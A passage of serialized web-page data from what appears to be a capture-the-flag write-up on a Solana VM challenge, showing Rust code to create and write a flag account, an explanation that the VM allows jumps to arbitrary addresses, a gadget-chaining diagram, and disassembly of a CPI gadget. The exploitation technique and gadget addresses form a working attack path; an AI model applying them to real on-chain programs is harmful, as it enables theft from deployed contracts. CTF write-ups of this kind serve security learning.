flag_pda_ai",{"type":22,"tag":264,"props":44602,"children":44603},{"style":4309},[44604],{"type":27,"value":4312},{"type":22,"tag":264,"props":44606,"children":44607},{"style":4309},[44608],{"type":27,"value":8434},{"type":22,"tag":264,"props":44610,"children":44611},{"style":1549},[44612],{"type":27,"value":15974},{"type":22,"tag":264,"props":44614,"children":44615},{"style":1539},[44616],{"type":27,"value":5045},{"type":22,"tag":264,"props":44618,"children":44619},{"style":4344},[44620],{"type":27,"value":5334},{"type":22,"tag":264,"props":44622,"children":44623},{"style":1539},[44624],{"type":27,"value":32889},{"type":22,"tag":264,"props":44626,"children":44627},{"class":1534,"line":1612},[44628,44632,44637,44641,44645,44649,44653,44657],{"type":22,"tag":264,"props":44629,"children":44630},{"style":4293},[44631],{"type":27,"value":4296},{"type":22,"tag":264,"props":44633,"children":44634},{"style":1549},[44635],{"type":27,"value":44636}," user_ai",{"type":22,"tag":264,"props":44638,"children":44639},{"style":4309},[44640],{"type":27,"value":4312},{"type":22,"tag":264,"props":44642,"children":44643},{"style":4309},[44644],{"type":27,"value":8434},{"type":22,"tag":264,"props":44646,"children":44647},{"style":1549},[44648],{"type":27,"value":15974},{"type":22,"tag":264,"props":44650,"children":44651},{"style":1539},[44652],{"type":27,"value":5045},{"type":22,"tag":264,"props":44654,"children":44655},{"style":4344},[44656],{"type":27,"value":602},{"type":22,"tag":264,"props":44658,"children":44659},{"style":1539},[44660],{"type":27,"value":32889},{"type":22,"tag":264,"props":44662,"children":44663},{"class":1534,"line":1621},[44664],{"type":22,"tag":264,"props":44665,"children":44666},{"emptyLinePlaceholder":17},[44667],{"type":27,"value":4986},{"type":22,"tag":264,"props":44669,"children":44670},{"class":1534,"line":1629},[44671],{"type":22,"tag":264,"props":44672,"children":44673},{"style":4284},[44674],{"type":27,"value":44675},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":22,"tag":264,"props":44677,"children":44678},{"class":1534,"line":1642},[44679,44683,44688,44692,44696,44700,44705],{"type":22,"tag":264,"props":44680,"children":44681},{"style":4293},[44682],{"type":27,"value":4296},{"type":22,"tag":264,"props":44684,"children":44685},{"style":1549},[44686],{"type":27,"value":44687}," instruction",{"type":22,"tag":264,"props":44689,"children":44690},{"style":4309},[44691],{"type":27,"value":4312},{"type":22,"tag":264,"props":44693,"children":44694},{"style":4722},[44695],{"type":27,"value":42327},{"type":22,"tag":264,"props":44697,"children":44698},{"style":4309},[44699],{"type":27,"value":4785},{"type":22,"tag":264,"props":44701,"children":44702},{"style":4401},[44703],{"type":27,"value":44704},"new_with_bincode",{"type":22,"tag":264,"props":44706,"children":44707},{"style":1539},[44708],{"type":27,"value":4767},{"type":22,"tag":264,"props":44710,"children":44711},{"class":1534,"line":1660},[44712,44717,44721],{"type":22,"tag":264,"props":44713,"children":44714},{"style":1539},[44715],{"type":27,"value":44716},"        system_program",{"type":22,"tag":264,"props":44718,"children":44719},{"style":4309},[44720],{"type":27,"value":4785},{"type":22,"tag":264,"props":44722,"children":44723},{"style":1539},[44724],{"type":27,"value":44725},"ID,\n",{"type":22,"tag":264,"props":44727,"children":44728},{"class":1534,"line":1668},[44729,44733,44738,44742,44747],{"type":22,"tag":264,"props":44730,"children":44731},{"style":4309},[44732],{"type":27,"value":4775},{"type":22,"tag":264,"props":44734,"children":44735},{"style":1539},[44736],{"type":27,"value":44737},"SystemInstruction",{"type":22,"tag":264,"props":44739,"children":44740},{"style":4309},[44741],{"type":27,"value":4785},{"type":22,"tag":264,"props":44743,"children":44744},{"style":4722},[44745],{"type":27,"value":44746},"CreateAccount",{"type":22,"tag":264,"props":44748,"children":44749},{"style":1539},[44750],{"type":27,"value":4594},{"type":22,"tag":264,"props":44752,"children":44753},{"class":1534,"line":1677},[44754,44759,44763,44768],{"type":22,"tag":264,"props":44755,"children":44756},{"style":1549},[44757],{"type":27,"value":44758},"            space",{"type":22,"tag":264,"props":44760,"children":44761},{"style":4309},[44762],{"type":27,"value":5785},{"type":22,"tag":264,"props":44764,"children":44765},{"style":4344},[44766],{"type":27,"value":44767}," 0x1337",{"type":22,"tag":264,"props":44769,"children":44770},{"style":1539},[44771],{"type":27,"value":4812},{"type":22,"tag":264,"props":44773,"children":44774},{"class":1534,"line":1686},[44775,44780,44784,44789,44793,44798,44802,44806,44811,44815,44820],{"type":22,"tag":264,"props":44776,"children":44777},{"style":1549},[44778],{"type":27,"value":44779},"            lamports",{"type":22,"tag":264,"props":44781,"children":44782},{"style":4309},[44783],{"type":27,"value":5785},{"type":22,"tag":264,"props":44785,"children":44786},{"style":1539},[44787],{"type":27,"value":44788}," Rent",{"type":22,"tag":264,"props":44790,"children":44791},{"style":4309},[44792],{"type":27,"value":4785},{"type":22,"tag":264,"props":44794,"children":44795},{"style":4401},[44796],{"type":27,"value":44797},"default",{"type":22,"tag":264,"props":44799,"children":44800},{"style":1539},[44801],{"type":27,"value":15178},{"type":22,"tag":264,"props":44803,"children":44804},{"style":4309},[44805],{"type":27,"value":210},{"type":22,"tag":264,"props":44807,"children":44808},{"style":4401},[44809],{"type":27,"value":44810},"minimum_balance",{"type":22,"tag":264,"props":44812,"children":44813},{"style":1539},[44814],{"type":27,"value":2660},{"type":22,"tag":264,"props":44816,"children":44817},{"style":4344},[44818],{"type":27,"value":44819},"0x1337",{"type":22,"tag":264,"props":44821,"children":44822},{"style":1539},[44823],{"type":27,"value":8029},{"type":22,"tag":264,"props":44825,"children":44826},{"class":1534,"line":4948},[44827,44832,44836,44840,44844],{"type":22,"tag":264,"props":44828,"children":44829},{"style":1549},[44830],{"type":27,"value":44831},"            owner",{"type":22,"tag":264,"props":44833,"children":44834},{"style":4309},[44835],{"type":27,"value":5785},{"type":22,"tag":264,"props":44837,"children":44838},{"style":1539},[44839],{"type":27,"value":43359},{"type":22,"tag":264,"props":44841,"children":44842},{"style":4309},[44843],{"type":27,"value":4785},{"type":22,"tag":264,"props":44845,"children":44846},{"style":1539},[44847],{"type":27,"value":44848},"ID\n",{"type":22,"tag":264,"props":44850,"children":44851},{"class":1534,"line":4957},[44852],{"type":22,"tag":264,"props":44853,"children":44854},{"style":1539},[44855],{"type":27,"value":26686},{"type":22,"tag":264,"props":44857,"children":44858},{"class":1534,"line":4980},[44859,44864],{"type":22,"tag":264,"props":44860,"children":44861},{"style":4401},[44862],{"type":27,"value":44863},"        vec!",{"type":22,"tag":264,"props":44865,"children":44866},{"style":1539},[44867],{"type":27,"value":44868},"[\n",{"type":22,"tag":264,"props":44870,"children":44871},{"class":1534,"line":4989},[44872,44877,44881,44885,44889,44893,44898,44902,44907,44911],{"type":22,"tag":264,"props":44873,"children":44874},{"style":1539},[44875],{"type":27,"value":44876},"            AccountMeta",{"type":22,"tag":264,"props":44878,"children":44879},{"style":4309},[44880],{"type":27,"value":4785},{"type":22,"tag":264,"props":44882,"children":44883},{"style":4401},[44884],{"type":27,"value":16422},{"type":22,"tag":264,"props":44886,"children":44887},{"style":1539},[44888],{"type":27,"value":2660},{"type":22,"tag":264,"props":44890,"children":44891},{"style":4309},[44892],{"type":27,"value":5865},{"type":22,"tag":264,"props":44894,"children":44895},{"style":1549},[44896],{"type":27,"value":44897},"user_ai",{"type":22,"tag":264,"props":44899,"children":44900},{"style":4309},[44901],{"type":27,"value":210},{"type":22,"tag":264,"props":44903,"children":44904},{"style":1539},[44905],{"type":27,"value":44906},"key, ",{"type":22,"tag":264,"props":44908,"children":44909},{"style":4293},[44910],{"type":27,"value":273},{"type":22,"tag":264,"props":44912,"children":44913},{"style":1539},[44914],{"type":27,"value":8029},{"type":22,"tag":264,"props":44916,"children":44917},{"class":1534,"line":4998},[44918,44922,44926,44930,44934,44938,44943,44947,44951,44955],{"type":22,"tag":264,"props":44919,"children":44920},{"style":1539},[44921],{"type":27,"value":44876},{"type":22,"tag":264,"props":44923,"children":44924},{"style":4309},[44925],{"type":27,"value":4785},{"type":22,"tag":264,"props":44927,"children":44928},{"style":4401},[44929],{"type":27,"value":16422},{"type":22,"tag":264,"props":44931,"children":44932},{"style":1539},[44933],{"type":27,"value":2660},{"type":22,"tag":264,"props":44935,"children":44936},{"style":4309},[44937],{"type":27,"value":5865},{"type":22,"tag":264,"props":44939,"children":44940},{"style":1549},[44941],{"type":27,"value":44942},"flag_pda_ai",{"type":22,"tag":264,"props":44944,"children":44945},{"style":4309},[44946],{"type":27,"value":210},{"type":22,"tag":264,"props":44948,"children":44949},{"style":1539},[44950],{"type":27,"value":44906},{"type":22,"tag":264,"props":44952,"children":44953},{"style":4293},[44954],{"type":27,"value":273},{"type":22,"tag":264,"props":44956,"children":44957},{"style":1539},[44958],{"type":27,"value":8029},{"type":22,"tag":264,"props":44960,"children":44961},{"class":1534,"line":5067},[44962],{"type":22,"tag":264,"props":44963,"children":44964},{"style":1539},[44965],{"type":27,"value":44966},"        ],\n",{"type":22,"tag":264,"props":44968,"children":44969},{"class":1534,"line":5075},[44970],{"type":22,"tag":264,"props":44971,"children":44972},{"style":1539},[44973],{"type":27,"value":44974},"    );\n",{"type":22,"tag":264,"props":44976,"children":44977},{"class":1534,"line":5105},[44978,44982],{"type":22,"tag":264,"props":44979,"children":44980},{"style":4401},[44981],{"type":27,"value":42444},{"type":22,"tag":264,"props":44983,"children":44984},{"style":1539},[44985],{"type":27,"value":4767},{"type":22,"tag":264,"props":44987,"children":44988},{"class":1534,"line":5113},[44989,44993,44998],{"type":22,"tag":264,"props":44990,"children":44991},{"style":4309},[44992],{"type":27,"value":4775},{"type":22,"tag":264,"props":44994,"children":44995},{"style":1549},[44996],{"type":27,"value":44997},"instruction",{"type":22,"tag":264,"props":44999,"children":45000},{"style":1539},[45001],{"type":27,"value":4812},{"type":22,"tag":264,"props":45003,"children":45004},{"class":1534,"line":5145},[45005,45009],{"type":22,"tag":264,"props":45006,"children":45007},{"style":4309},[45008],{"type":27,"value":4775},{"type":22,"tag":264,"props":45010,"children":45011},{"style":1539},[45012],{"type":27,"value":44868},{"type":22,"tag":264,"props":45014,"children":45015},{"class":1534,"line":5153},[45016,45021,45025,45029],{"type":22,"tag":264,"props":45017,"children":45018},{"style":1549},[45019],{"type":27,"value":45020},"            user_ai",{"type":22,"tag":264,"props":45022,"children":45023},{"style":4309},[45024],{"type":27,"value":210},{"type":22,"tag":264,"props":45026,"children":45027},{"style":4401},[45028],{"type":27,"value":16719},{"type":22,"tag":264,"props":45030,"children":45031},{"style":1539},[45032],{"type":27,"value":4795},{"type":22,"tag":264,"props":45034,"children":45035},{"class":1534,"line":5213},[45036,45041,45045,45049],{"type":22,"tag":264,"props":45037,"children":45038},{"style":1549},[45039],{"type":27,"value":45040},"            flag_pda_ai",{"type":22,"tag":264,"props":45042,"children":45043},{"style":4309},[45044],{"type":27,"value":210},{"type":22,"tag":264,"props":45046,"children":45047},{"style":4401},[45048],{"type":27,"value":16719},{"type":22,"tag":264,"props":45050,"children":45051},{"style":1539},[45052],{"type":27,"value":4795},{"type":22,"tag":264,"props":45054,"children":45055},{"class":1534,"line":10343},[45056],{"type":22,"tag":264,"props":45057,"children":45058},{"style":1539},[45059],{"type":27,"value":44966},{"type":22,"tag":264,"props":45061,"children":45062},{"class":1534,"line":10361},[45063,45067,45071,45075,45079,45083,45087,45091],{"type":22,"tag":264,"props":45064,"children":45065},{"style":4309},[45066],{"type":27,"value":4775},{"type":22,"tag":264,"props":45068,"children":45069},{"style":1539},[45070],{"type":27,"value":5045},{"type":22,"tag":264,"props":45072,"children":45073},{"style":4309},[45074],{"type":27,"value":4413},{"type":22,"tag":264,"props":45076,"children":45077},{"style":1539},[45078],{"type":27,"value":5045},{"type":22,"tag":264,"props":45080,"children":45081},{"style":1597},[45082],{"type":27,"value":43939},{"type":22,"tag":264,"props":45084,"children":45085},{"style":4309},[45086],{"type":27,"value":210},{"type":22,"tag":264,"props":45088,"children":45089},{"style":4401},[45090],{"type":27,"value":43948},{"type":22,"tag":264,"props":45092,"children":45093},{"style":1539},[45094],{"type":27,"value":45095},"()]],\n",{"type":22,"tag":264,"props":45097,"children":45098},{"class":1534,"line":10406},[45099,45103,45107],{"type":22,"tag":264,"props":45100,"children":45101},{"style":1539},[45102],{"type":27,"value":4963},{"type":22,"tag":264,"props":45104,"children":45105},{"style":4309},[45106],{"type":27,"value":4458},{"type":22,"tag":264,"props":45108,"children":45109},{"style":1539},[45110],{"type":27,"value":4322},{"type":22,"tag":264,"props":45112,"children":45113},{"class":1534,"line":10512},[45114],{"type":22,"tag":264,"props":45115,"children":45116},{"emptyLinePlaceholder":17},[45117],{"type":27,"value":4986},{"type":22,"tag":264,"props":45119,"children":45120},{"class":1534,"line":24810},[45121],{"type":22,"tag":264,"props":45122,"children":45123},{"style":4284},[45124],{"type":27,"value":45125},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":22,"tag":264,"props":45127,"children":45128},{"class":1534,"line":24845},[45129,45134,45138,45142,45146,45150,45154,45158,45162,45166,45170,45175,45179,45183,45188,45192,45196,45201],{"type":22,"tag":264,"props":45130,"children":45131},{"style":1549},[45132],{"type":27,"value":45133},"    flag_pda_ai",{"type":22,"tag":264,"props":45135,"children":45136},{"style":4309},[45137],{"type":27,"value":210},{"type":22,"tag":264,"props":45139,"children":45140},{"style":4401},[45141],{"type":27,"value":15173},{"type":22,"tag":264,"props":45143,"children":45144},{"style":1539},[45145],{"type":27,"value":15178},{"type":22,"tag":264,"props":45147,"children":45148},{"style":4309},[45149],{"type":27,"value":4458},{"type":22,"tag":264,"props":45151,"children":45152},{"style":1539},[45153],{"type":27,"value":5045},{"type":22,"tag":264,"props":45155,"children":45156},{"style":4309},[45157],{"type":27,"value":4352},{"type":22,"tag":264,"props":45159,"children":45160},{"style":4344},[45161],{"type":27,"value":5378},{"type":22,"tag":264,"props":45163,"children":45164},{"style":1539},[45165],{"type":27,"value":16710},{"type":22,"tag":264,"props":45167,"children":45168},{"style":4309},[45169],{"type":27,"value":210},{"type":22,"tag":264,"props":45171,"children":45172},{"style":4401},[45173],{"type":27,"value":45174},"copy_from_slice",{"type":22,"tag":264,"props":45176,"children":45177},{"style":1539},[45178],{"type":27,"value":2660},{"type":22,"tag":264,"props":45180,"children":45181},{"style":4309},[45182],{"type":27,"value":4413},{"type":22,"tag":264,"props":45184,"children":45185},{"style":4344},[45186],{"type":27,"value":45187},"0x4337",{"type":22,"tag":264,"props":45189,"children":45190},{"style":4722},[45191],{"type":27,"value":9336},{"type":22,"tag":264,"props":45193,"children":45194},{"style":4309},[45195],{"type":27,"value":210},{"type":22,"tag":264,"props":45197,"children":45198},{"style":4401},[45199],{"type":27,"value":45200},"to_le_bytes",{"type":22,"tag":264,"props":45202,"children":45203},{"style":1539},[45204],{"type":27,"value":16724},{"type":22,"tag":264,"props":45206,"children":45207},{"class":1534,"line":24853},[45208],{"type":22,"tag":264,"props":45209,"children":45210},{"emptyLinePlaceholder":17},[45211],{"type":27,"value":4986},{"type":22,"tag":264,"props":45213,"children":45214},{"class":1534,"line":24861},[45215,45219],{"type":22,"tag":264,"props":45216,"children":45217},{"style":4722},[45218],{"type":27,"value":15632},{"type":22,"tag":264,"props":45220,"children":45221},{"style":1539},[45222],{"type":27,"value":15637},{"type":22,"tag":264,"props":45224,"children":45225},{"class":1534,"line":24870},[45226],{"type":22,"tag":264,"props":45227,"children":45228},{"style":1539},[45229],{"type":27,"value":1692},{"type":22,"tag":23,"props":45231,"children":45232},{},[45233],{"type":27,"value":45234},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":22,"tag":23,"props":45236,"children":45237},{},[45238],{"type":22,"tag":215,"props":45239,"children":45242},{"alt":45240,"src":45241},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":22,"tag":23,"props":45244,"children":45245},{},[45246],{"type":27,"value":45247},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":22,"tag":169,"props":45249,"children":45251},{"id":45250},"solution-implementation",[45252],{"type":27,"value":45253},"Solution Implementation",{"type":22,"tag":23,"props":45255,"children":45256},{},[45257,45259,45264],{"type":27,"value":45258},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":22,"tag":257,"props":45260,"children":45262},{"className":45261},[],[45263],{"type":27,"value":36996},{"type":27,"value":45265}," invocations:",{"type":22,"tag":618,"props":45267,"children":45271},{"className":45268,"code":45269,"language":45270,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[45272],{"type":22,"tag":257,"props":45273,"children":45274},{"__ignoreMap":7},[45275,45283,45291,45299,45307,45315,45323],{"type":22,"tag":264,"props":45276,"children":45277},{"class":1534,"line":1535},[45278],{"type":22,"tag":264,"props":45279,"children":45280},{},[45281],{"type":27,"value":45282},"graph LR\n",{"type":22,"tag":264,"props":45284,"children":45285},{"class":1534,"line":1545},[45286],{"type":22,"tag":264,"props":45287,"children":45288},{},[45289],{"type":27,"value":45290},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":22,"tag":264,"props":45292,"children":45293},{"class":1534,"line":1560},[45294],{"type":22,"tag":264,"props":45295,"children":45296},{},[45297],{"type":27,"value":45298},"    B --> C[2: process]\n",{"type":22,"tag":264,"props":45300,"children":45301},{"class":1534,"line":1569},[45302],{"type":22,"tag":264,"props":45303,"children":45304},{},[45305],{"type":27,"value":45306},"    C --> D[3: gadget1]\n",{"type":22,"tag":264,"props":45308,"children":45309},{"class":1534,"line":1583},[45310],{"type":22,"tag":264,"props":45311,"children":45312},{},[45313],{"type":27,"value":45314},"    C --> E[3: process]\n",{"type":22,"tag":264,"props":45316,"children":45317},{"class":1534,"line":1603},[45318],{"type":22,"tag":264,"props":45319,"children":45320},{},[45321],{"type":27,"value":45322},"    E --> F[4: gadget2]\n",{"type":22,"tag":264,"props":45324,"children":45325},{"class":1534,"line":1612},[45326],{"type":22,"tag":264,"props":45327,"children":45328},{},[45329],{"type":27,"value":45330},"    E --> G[...]\n",{"type":22,"tag":23,"props":45332,"children":45333},{},[45334],{"type":27,"value":45335},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":22,"tag":23,"props":45337,"children":45338},{},[45339,45341,45347],{"type":27,"value":45340},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":22,"tag":69,"props":45342,"children":45344},{"href":41802,"rel":45343},[73],[45345],{"type":27,"value":45346},"Binary Ninja",{"type":27,"value":45348}," to find a suitable gadget for this.",{"type":22,"tag":23,"props":45350,"children":45351},{},[45352,45354,45361],{"type":27,"value":45353},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":22,"tag":69,"props":45355,"children":45358},{"href":45356,"rel":45357},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[73],[45359],{"type":27,"value":45360},"skip the strip pass",{"type":27,"value":210},{"type":22,"tag":181,"props":45363,"children":45365},{"id":45364},"cpi-gadget",[45366],{"type":27,"value":45367},"CPI Gadget",{"type":22,"tag":23,"props":45369,"children":45370},{},[45371,45373,45378,45380,45387,45389,45395],{"type":27,"value":45372},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":22,"tag":257,"props":45374,"children":45376},{"className":45375},[],[45377],{"type":27,"value":39610},{"type":27,"value":45379}," function. This function calls into the solana sdk's function ",{"type":22,"tag":69,"props":45381,"children":45384},{"href":45382,"rel":45383},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[73],[45385],{"type":27,"value":45386},"invoke_signed_unchecked",{"type":27,"value":45388},", yielding a powerful gadget at the address ",{"type":22,"tag":257,"props":45390,"children":45392},{"className":45391},[],[45393],{"type":27,"value":45394},"0x100001ba8",{"type":27,"value":210},{"type":22,"tag":618,"props":45397,"children":45399},{"className":4274,"code":45398,"language":4273,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[45400],{"type":22,"tag":257,"props":45401,"children":45402},{"__ignoreMap":7},[45403,45428,45484,45535,45587,45639,45662,45710,45717,45749,45800,45858,45892,45899,45948,45978,46053,46060,46111,46157,46164,46195,46246,46276,46298,46305,46356,46401,46408,46459,46487,46508,46515],{"type":22,"tag":264,"props":45404,"children":45405},{"class":1534,"line":1535},[45406,45410,45414,45419,45423],{"type":22,"tag":264,"props":45407,"children":45408},{"style":1539},[45409],{"type":27,"value":14952},{"type":22,"tag":264,"props":45411,"children":45412},{"style":4309},[45413],{"type":27,"value":4785},{"type":22,"tag":264,"props":45415,"children":45416},{"style":1539},[45417],{"type":27,"value":45418},"program",{"type":22,"tag":264,"props":45420,"children":45421},{"style":4309},[45422],{"type":27,"value":4785},{"type":22,"tag":264,"props":45424,"children":45425},{"style":1549},[45426],{"type":27,"value":45427},"invoke_signed_unchecked\n",{"type":22,"tag":264,"props":45429,"children":45430},{"class":1534,"line":1545},[45431,45436,45441,45446,45451,45456,45461,45465,45470,45475,45480],{"type":22,"tag":264,"props":45432,"children":45433},{"style":1549},[45434],{"type":27,"value":45435},"100001ba8",{"type":22,"tag":264,"props":45437,"children":45438},{"style":1549},[45439],{"type":27,"value":45440},"  79a278ff00000000",{"type":22,"tag":264,"props":45442,"children":45443},{"style":1549},[45444],{"type":27,"value":45445},"   ldxdw",{"type":22,"tag":264,"props":45447,"children":45448},{"style":1549},[45449],{"type":27,"value":45450}," r2",{"type":22,"tag":264,"props":45452,"children":45453},{"style":1539},[45454],{"type":27,"value":45455},", [",{"type":22,"tag":264,"props":45457,"children":45458},{"style":1549},[45459],{"type":27,"value":45460},"r10",{"type":22,"tag":264,"props":45462,"children":45463},{"style":4309},[45464],{"type":27,"value":5621},{"type":22,"tag":264,"props":45466,"children":45467},{"style":4344},[45468],{"type":27,"value":45469},"136",{"type":22,"tag":264,"props":45471,"children":45472},{"style":1539},[45473],{"type":27,"value":45474},"] {",{"type":22,"tag":264,"props":45476,"children":45477},{"style":1549},[45478],{"type":27,"value":45479},"var_88",{"type":22,"tag":264,"props":45481,"children":45482},{"style":1539},[45483],{"type":27,"value":1692},{"type":22,"tag":264,"props":45485,"children":45486},{"class":1534,"line":1560},[45487,45492,45497,45501,45506,45510,45514,45518,45522,45526,45531],{"type":22,"tag":264,"props":45488,"children":45489},{"style":1549},[45490],{"type":27,"value":45491},"100001bb0",{"type":22,"tag":264,"props":45493,"children":45494},{"style":1549},[45495],{"type":27,"value":45496},"  79a380ff00000000",{"type":22,"tag":264,"props":45498,"children":45499},{"style":1549},[45500],{"type":27,"value":45445},{"type":22,"tag":264,"props":45502,"children":45503},{"style":1549},[45504],{"type":27,"value":45505}," r3",{"type":22,"tag":264,"props":45507,"children":45508},{"style":1539},[45509],{"type":27,"value":45455},{"type":22,"tag":264,"props":45511,"children":45512},{"style":1549},[45513],{"type":27,"value":45460},{"type":22,"tag":264,"props":45515,"children":45516},{"style":4309},[45517],{"type":27,"value":5621},{"type":22,"tag":264,"props":45519,"children":45520},{"style":4344},[45521],{"type":27,"value":31161},{"type":22,"tag":264,"props":45523,"children":45524},{"style":1539},[45525],{"type":27,"value":45474},{"type":22,"tag":264,"props":45527,"children":45528},{"style":1549},[45529],{"type":27,"value":45530},"var_80",{"type":22,"tag":264,"props":45532,"children":45533},{"style":1539},[45534],{"type":27,"value":1692},{"type":22,"tag":264,"props":45536,"children":45537},{"class":1534,"line":1569},[45538,45543,45548,45552,45557,45561,45565,45569,45574,45578,45583],{"type":22,"tag":264,"props":45539,"children":45540},{"style":1549},[45541],{"type":27,"value":45542},"100001bb8",{"type":22,"tag":264,"props":45544,"children":45545},{"style":1549},[45546],{"type":27,"value":45547},"  79a468ff00000000",{"type":22,"tag":264,"props":45549,"children":45550},{"style":1549},[45551],{"type":27,"value":45445},{"type":22,"tag":264,"props":45553,"children":45554},{"style":1549},[45555],{"type":27,"value":45556}," r4",{"type":22,"tag":264,"props":45558,"children":45559},{"style":1539},[45560],{"type":27,"value":45455},{"type":22,"tag":264,"props":45562,"children":45563},{"style":1549},[45564],{"type":27,"value":45460},{"type":22,"tag":264,"props":45566,"children":45567},{"style":4309},[45568],{"type":27,"value":5621},{"type":22,"tag":264,"props":45570,"children":45571},{"style":4344},[45572],{"type":27,"value":45573},"152",{"type":22,"tag":264,"props":45575,"children":45576},{"style":1539},[45577],{"type":27,"value":45474},{"type":22,"tag":264,"props":45579,"children":45580},{"style":1549},[45581],{"type":27,"value":45582},"var_98",{"type":22,"tag":264,"props":45584,"children":45585},{"style":1539},[45586],{"type":27,"value":1692},{"type":22,"tag":264,"props":45588,"children":45589},{"class":1534,"line":1583},[45590,45595,45600,45604,45609,45613,45617,45621,45626,45630,45635],{"type":22,"tag":264,"props":45591,"children":45592},{"style":1549},[45593],{"type":27,"value":45594},"100001bc0",{"type":22,"tag":264,"props":45596,"children":45597},{"style":1549},[45598],{"type":27,"value":45599},"  79a570ff00000000",{"type":22,"tag":264,"props":45601,"children":45602},{"style":1549},[45603],{"type":27,"value":45445},{"type":22,"tag":264,"props":45605,"children":45606},{"style":1549},[45607],{"type":27,"value":45608}," r5",{"type":22,"tag":264,"props":45610,"children":45611},{"style":1539},[45612],{"type":27,"value":45455},{"type":22,"tag":264,"props":45614,"children":45615},{"style":1549},[45616],{"type":27,"value":45460},{"type":22,"tag":264,"props":45618,"children":45619},{"style":4309},[45620],{"type":27,"value":5621},{"type":22,"tag":264,"props":45622,"children":45623},{"style":4344},[45624],{"type":27,"value":45625},"144",{"type":22,"tag":264,"props":45627,"children":45628},{"style":1539},[45629],{"type":27,"value":45474},{"type":22,"tag":264,"props":45631,"children":45632},{"style":1549},[45633],{"type":27,"value":45634},"var_90",{"type":22,"tag":264,"props":45636,"children":45637},{"style":1539},[45638],{"type":27,"value":1692},{"type":22,"tag":264,"props":45640,"children":45641},{"class":1534,"line":1603},[45642,45647,45652,45657],{"type":22,"tag":264,"props":45643,"children":45644},{"style":1549},[45645],{"type":27,"value":45646},"100001bc8",{"type":22,"tag":264,"props":45648,"children":45649},{"style":4344},[45650],{"type":27,"value":45651},"  8520000020100000",{"type":22,"tag":264,"props":45653,"children":45654},{"style":1549},[45655],{"type":27,"value":45656},"   call",{"type":22,"tag":264,"props":45658,"children":45659},{"style":1549},[45660],{"type":27,"value":45661}," sol_invoke_signed_rust\n",{"type":22,"tag":264,"props":45663,"children":45664},{"class":1534,"line":1612},[45665,45670,45675,45680,45684,45688,45692,45696,45701,45705],{"type":22,"tag":264,"props":45666,"children":45667},{"style":1549},[45668],{"type":27,"value":45669},"100001bd0",{"type":22,"tag":264,"props":45671,"children":45672},{"style":4344},[45673],{"type":27,"value":45674},"  5500040000000000",{"type":22,"tag":264,"props":45676,"children":45677},{"style":1549},[45678],{"type":27,"value":45679},"   jne",{"type":22,"tag":264,"props":45681,"children":45682},{"style":1539},[45683],{"type":27,"value":10014},{"type":22,"tag":264,"props":45685,"children":45686},{"style":4309},[45687],{"type":27,"value":673},{"type":22,"tag":264,"props":45689,"children":45690},{"style":4344},[45691],{"type":27,"value":18831},{"type":22,"tag":264,"props":45693,"children":45694},{"style":1539},[45695],{"type":27,"value":7112},{"type":22,"tag":264,"props":45697,"children":45698},{"style":1549},[45699],{"type":27,"value":45700},"r0",{"type":22,"tag":264,"props":45702,"children":45703},{"style":1539},[45704],{"type":27,"value":4380},{"type":22,"tag":264,"props":45706,"children":45707},{"style":4344},[45708],{"type":27,"value":45709},"0x0\n",{"type":22,"tag":264,"props":45711,"children":45712},{"class":1534,"line":1621},[45713],{"type":22,"tag":264,"props":45714,"children":45715},{"emptyLinePlaceholder":17},[45716],{"type":27,"value":4986},{"type":22,"tag":264,"props":45718,"children":45719},{"class":1534,"line":1629},[45720,45725,45730,45735,45740,45744],{"type":22,"tag":264,"props":45721,"children":45722},{"style":1549},[45723],{"type"